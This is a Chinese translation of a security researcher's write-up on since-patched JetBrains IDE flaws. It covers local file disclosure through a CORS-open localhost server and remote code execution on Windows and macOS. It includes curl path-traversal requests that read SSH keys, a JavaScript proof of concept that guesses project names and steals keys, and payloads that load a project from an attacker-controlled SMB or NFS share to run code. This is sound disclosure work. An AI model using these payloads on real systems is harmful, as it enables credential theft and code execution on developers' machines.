长亭百川云 - 文章详情

JetBrains 系列 IDE “本地文件泄漏”和“远程代码执行”漏洞

闻道解惑

57

2024-07-13

概要

UBER公司的Jordan Milne发现了JetBrains系列IDE存在“本地文件泄漏”漏洞,同时Windows和OSX的版本还存在“远程代码执行”漏洞。而漏洞的利用非常简单,只需要满足一个条件,就是让受害者在打开IDE的同时,访问一个由攻击者控制的页面。

受影响的IDE包括PyCharm、Android Studio、WebStorm、IntelliJ IDEA等等。

这些漏洞都在5月11日发布的补丁中得到更新。

下面是漏洞的详细分析过程的翻译版。要查看漏洞分析的原文,请点击文末的“阅读原文”。

-------------

准备

要重现这个漏洞,你需要安装PyCharm 5.0.4或之前的版本。当然,最好还是在虚拟机里进行安装和攻击。

PyCharm 5.0.4的下载地址:

Linux: https://download.jetbrains.com/python/pycharm-community-5.0.4.tar.gz

OS X: https://download.jetbrains.com/python/pycharm-community-5.0.4.dmg

Windows:https://download.jetbrains.com/python/pycharm-community-5.0.4.exe

初始

我正在进行“跨协议渗透”的研究,想看看我自己的设备上有没有些有趣的服务。于是,我执行了“lsof -P -iTCP | grep LISTEN”来查看哪些程序打开了TCP的监听端口,于是我得到:

$ lsof -P -iTCP | grep LISTEN
# ...

pycharm   4177 user  289u  IPv4 0x81a02fb90b4eef47      0t0  TCP localhost:63342 (LISTEN)

嗯,我用了很长时间的PyCharm,还从没注意到他会绑定到任何端口上。让我用NMAP来看下这个端口是做什么用的。

$ nmap -A -p 63342 127.0.0.1
# [...]
PORT      STATE SERVICE VERSION
63342/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port63342-TCP:V=6.46%I=7%D=8/2%Time=57A0DD64%P=x86_64-apple-darwin13.1.
SF:0%r(GetRequest,173,"HTTP/1\.1\x20404\x20Not\x20Found\r\ncontent-type:\x

# [...]

看起来像一个HTTP Server?试试CORS头域。

$ curl -v -H "Origin: http://attacker.com/" "http://127.0.0.1:63342/"
> GET / HTTP/1.1
> Host: 127.0.0.1:63342
> User-Agent: curl/7.43.0
> Accept: */*
> Origin: http://attacker.com/
>
< HTTP/1.1 404 Not Found
[...]
< access-control-allow-origin: http://attacker.com/
< vary: origin
< access-control-allow-credentials: true
< access-control-allow-headers: authorization
< access-control-allow-headers: origin
< access-control-allow-headers: content-type
< access-control-allow-headers: accept
<
* Connection #0 to host 127.0.0.1 left intact

404 Not Found

404 Not Found


PyCharm 5.0.4

嘿,我闻到香味(smells off)了。PyCharm的HTTP Server允许任意来源的访问请求。这个HTTP Server是个什么鬼,它会输出敏感信息么?

搜索之后发现,这是在2013年引入的功能。当时的想法是,开发者不需要再自己搭建一套Web Server,而只需要点击“view in browser”按钮,就可以在“http://localhost:63342//<your_file.html>”来查看自己的页面。

好吧。我在PyCharm中创建了一个“testing”工程,其中的根目录下创建一个”something.txt”的文件,看看我们能不能取到它。

$ curl -v -H "Origin: http://attacker.com/" "http://127.0.0.1:63342/testing/something.txt"

> GET /testing/something.txt HTTP/1.1

> Host: 127.0.0.1:63342

> User-Agent: curl/7.43.0

> Accept: */*

> Origin: http://attacker.com/

> 

< HTTP/1.1 200 OK

[...]

< access-control-allow-origin: http://attacker.com/

[...]

these are the file contents!

啊哦,看起来任意站点都能读取本地任何项目的文件,只要他们能猜出项目名称和文件名,这显然可以包括所有包含敏感数据的配置文件,类似AWS秘钥之类的。下面是一段HTML,我们可以把它放在attacker.com上,会达到和curl一样的效果。

var xhr = new XMLHttpRequest();

xhr.open("GET", "http://localhost:63342/testing/something.txt", true);

xhr.onload = function() {alert(xhr.responseText)};

xhr.send();

这个实现真的很糟糕,对于那些有针对性的攻击者来说会很有用的。不过麻烦的一点在于,攻击者需要猜测项目名称以及目录结构才能获取文件。有没有什么方法可以简化这种攻击?

逃离项目目录

让我们试试,是不是可以在项目目录之外读取文件。攻击者对那些存放在固定位置的文件(如ssh秘钥等)会很感兴趣。更有趣的是一些通常无法访问的内容,例如数据库等。

首先想到的是,看看../的处理:

$ curl -v "http://localhost:63342/testing/../../../.ssh/id\_rsa"

* Rebuilt URL to: http://localhost:63342/.ssh/id\_rsa

嗯,按照RFC3986规范(https://tools.ietf.org/html/rfc3986#section-5.2.4),客户端或者服务端都需要对URL中的点字符.进行格式化,这里curl的处理和浏览器的处理是一致的。

幸运的是,PyCharm的内置HTTP服务器,对于URL编码后的/(类似%2F..%2F)的处理,与编码前/(类似/../)的处理是一致的。所以我们可以使用 %2F..%2F 来代替 /../实现跨目录。

$ curl -v "http://localhost:63342/testing/..%2f..%2f.ssh/id\_rsa"

> GET /testing/..%2f..%2f.ssh/id_rsa HTTP/1.1

[...]

>

< HTTP/1.1 200 OK

< content-type: application/octet-stream

< server: PyCharm 5.0.4

[...]

<

ssh-rsa AAAAB3NzaC[...]

漂亮!现在唯一的限制就是需要了解被攻击者已经打开的的项目名称。如果请求中的项目名称(即/projectname/file中的projectname)是错的,所有的请求都会返回404。

一个直接的选择,是使用用户可能打开的项目名称的词典,并请求该项目目录下.idea/workspace.xml文件。这个文件是JetBrains自动添加到项目中的元文件。

$ curl --head "http://localhost:63342/testing/.idea/workspace.xml"

HTTP/1.1 200 OK

$ curl --head "http://localhost:63342/somethingelse/.idea/workspace.xml"

HTTP/1.1 404 Not Found

对testing的请求获得了200 OK的响应。我们确定,testing是一个有效的项目名称。

下面是javascript编写的一段粗糙的POC。

function findLoadedProject(cb) {

  var xhr = new XMLHttpRequest();

  // Let's assume we have a sensible dictionary here.

  var possibleProjectNames = ["foobar", "testing", "bazquux"];

  var tryNextProject = function() {

    if (!possibleProjectNames.length) {

      cb(null);

      return;

    }

    var projectName = possibleProjectNames.pop();

    xhr.open("GET", "http://localhost:63342/" + projectName + "/.idea/workspace.xml", true);

    xhr.onload = function() {

      if(xhr.status === 200) {

        cb(projectName);

      } else {

        tryNextProject();

      }

    };

    xhr.send();

  };

}

var findSSHKeys = function(projectName) {

  var xhr = new XMLHttpRequest();

  var depth = 0;

  var tryNextDepth = function() {

    // No luck, SSH directory doesn't share a parent

    // directory with the project.

    if(++depth > 15) {

      return;

    }

    // Chances are that both `.ssh` and the project directory are under the user's home folder,

    // let's try to walk up the dir tree.

    dotSegs = "..%2f".repeat(depth);

    xhr.open("GET", "http://localhost:63342/" + projectName + "/" + dotSegs + ".ssh/id_rsa.pub", true);

    xhr.onload = function() {

      if (xhr.status === 200) {

        console.log(xhr.responseText);

      } else {

        tryNextDepth();

      }

    };

    xhr.send();

  }

};

findLoadedProject(function(projectName) {

  if(projectName) {

    console.log(projectName, "is a valid project, looking for SSH key");

    findSSHKeys(projectName);

  } else {

    console.log("Failed to guess a project name");

  }

});

我没有做限速。在我的笔记本电脑上,使用Chrome运行这段POC,一秒钟可以尝试约2000个项目名称。

绕过项目名称的猜测

现在,我开始查看PyCharm通过这个Web Server暴露出来的各种API。必须猜测一个有效的且被打开的项目名称,对攻击利用来说是一个很大的障碍。而Web Server提供的API可能可以提供一个绕过这个限制的方法。

最终,我找到了/api/internal,实现的代码在 JetBrainsProtocolHandlerHttpService。通过这个接口,我们可以传递一段Json 数据,其中的URL参数支持 jetbrains:// 伪协议。这个接口没有提供文档说明,是一个未公开的接口。让我们来看一下这个伪协议下一些有趣的指令。

对于 jetbrains://<project_name>/open/,处理逻辑如下:

public class JBProtocolOpenProjectCommand extends JBProtocolCommand {

  public JBProtocolOpenProjectCommand() {

    super("open");

  }

  @Override

  public void perform(String target, Map<String, String> parameters) {

    String path = URLDecoder.decode(target);

    path = StringUtil.trimStart(path, LocalFileSystem.PROTOCOL_PREFIX);

    ProjectUtil.openProject(path, null, true);

  }

}

这意味着,我们可以传递一个绝对路径来打开一个项目。首先尝试所有 *NIX 系统中都存在的 /etc 目录。

$ curl "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//etc"}'

漂亮!看上去我们传递的目录,必须是一个 JetBrains-Style 的项目目录。幸运的是, PyCharm 2016.1及之后的版本,在系统目录中就存放了一个项目目录。OS X的版本里,这个目录就是  /Applications/PyCharm.app/Contents/helpers 。让我们试试看:

$ curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//Applications/PyCharm.app/Contents/helpers"}'

搞定!现在我们不必去猜测一个打开的项目名称,因为我们知道helpers项目目录是固定的。

在Linux上,PyCharm的根目录并不固定(取决于用户对PyCharm的压缩包执行tar命令的目录)。不过我们可以请求 /api/about?more=true 并且查找返回结果中的 homePath 字段。

{

  "name": "PyCharm 2016.1.2",

  "productName": "PyCharm",

  "baselineVersion": 145,

  "buildNumber": 844,

  "vendor": "JetBrains s.r.o.",

  "isEAP": false,

  "productCode": "PY",

  "buildDate": 1460098800000,

  "isSnapshot": false,

  "configPath": "/home/user/.PyCharm2016.1/config",

  "systemPath": "/home/user/.PyCharm2016.1/system",

  "binPath": "/home/user/opt/pycharm/bin",

  "logPath": "/home/user/.PyCharm2016.1/system/log",

  "homePath": "/home/user/opt/pycharm"

}

通过 /api/about?more=true 的响应来确定PyCharm的根目录,再通过这个根目录打开helpers项目。只要打开了helpers项目,使用%2F的接口就可以创建一个URL来获取SSH key了,类似这样:

$ curl -v "http://localhost:63342/helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/user/.ssh/id\_rsa"

> GET /helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/user/.ssh/id_rsa HTTP/1.1

[...]

>

< HTTP/1.1 200 OK

< content-type: application/octet-stream

< server: PyCharm 5.0.4

[...]

<

ssh-rsa AAAAB3NzaC[...]

Windows下的利用

上述打开helpers项目的方法,显然只能对安装了PyCharm 2016.1的设备进行攻击,其它设备上仍然需要猜测一个打开了的项目名称。有没有什么办法可以在安装了其他JetBrains产品(例如Android Studio或者IntelliJ IDEA等)的设备上进行攻击呢?

既然  jetbrains://project/open 接口可以让我们打开任意一个项目路径,使用UNC路径是一个显而易见的选择。UNC路径是Windows专用的路径格式,允许引用网络上共享的文件,路径格式类似 \\servername\sharename\filepath。许多Windows API(以及对它们进行了包装的Java API)都支持UNC 路径参数,并且透明地连接到远端服务器的SMB共享上,允许用户读取和写入文件,就像在本地路径上一样。如果IDE可以打开SMB共享的远端文件,我们就不需要猜测被攻击者电脑上的项目名称了。

我创建了一个远程无验证的SMB实例,起名叫anonshare,其中包含了一个JetBrains项目。现在我们来尝试连接下。

$ curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open/\\\\smb.example.com\\anonshare\\testing"}'

只要被攻击者的ISP没有阻止出站的SMB访问(毕竟有大量的蠕虫病毒都是通过SMB共享来扩散传播),我们就可以让他们打开一个受我们控制的远程SMB共享目录。

更大的危害

看起来我们可以做一些比任意文件读取更有趣的事情。我们构造一个请求,我们可以让Windows上的IDE加载一个由攻击者控制、存放在远程SMB共享服务器上的项目。几乎可以肯定,这里有更大的危害。

每一个 JetBrains 的 IDE 都有“启动任务”的概念。PyCharms中,可以配置一个python脚本,在项目加载的时候自动执行;Android Studio和IntelliJ IDEA中是配置.jar文件。现在我配置成在项目加载时运行项目根目录的hex.py脚本。就像这样:

现在只需要在项目根目录放置一个hax.py文件:

import os

os.system("calc.exe")

接下来,把这个项目目录配制成匿名SMB共享目录,再配置HTTP Server来提供一个恶意页面。这个页面代码如下,其中会请求携带了SBM共享路径的HTTP报文,让受害者来加载我们的恶意项目:

var xhr = new XMLHttpRequest();

xhr.open("POST", "http://127.0.0.1:63342/api/internal", true);

xhr.send('{"url": "jetbrains://whatever/open/\\\\\\\\123.456.789.101\\\\anonshare\\\\testing"}');

一旦被攻击者浏览到这个网页,恶意payload将被触发,计算器就启动了。

漂亮!

OS X下的利用

当访问远程共享连接时,OS X 的 autofs 会通过 /net 挂载点自动 mount NFS 远程共享目录。这意味着我们在OS X上的RCE利用代码和Windows 上的很相似,只需要创建一个匿名的NFS共享,然后访问 /net///

$ curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//net/nfs.example.com/anonshare/testing"}'

而HTML的PoC就像这样:

var xhr = new XMLHttpRequest();

xhr.open("POST", "http://127.0.0.1:63342/api/internal", true);

xhr.send('{"url": "jetbrains://whatever/open//net/nfs.example.com/anonshare/testing"}');

这可能适用于所有类 *NIX 系统,只要它使用了autofs。但 OS X 是仅有的将autofs作为默认配置的系统。

修复

JetBrains使用了几种方法来修复这一组漏洞:

  • 到本地 HTTP Server 的所有请求,都要求包含一个难以猜测的鉴权令牌,否则服务器将返回 4XX 错误代码。

  • 有问题的 CORS 策略被完全删除

  • 对 HOST 头域的值进行验证,阻止类似 DNS rebinding 的攻击方式

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2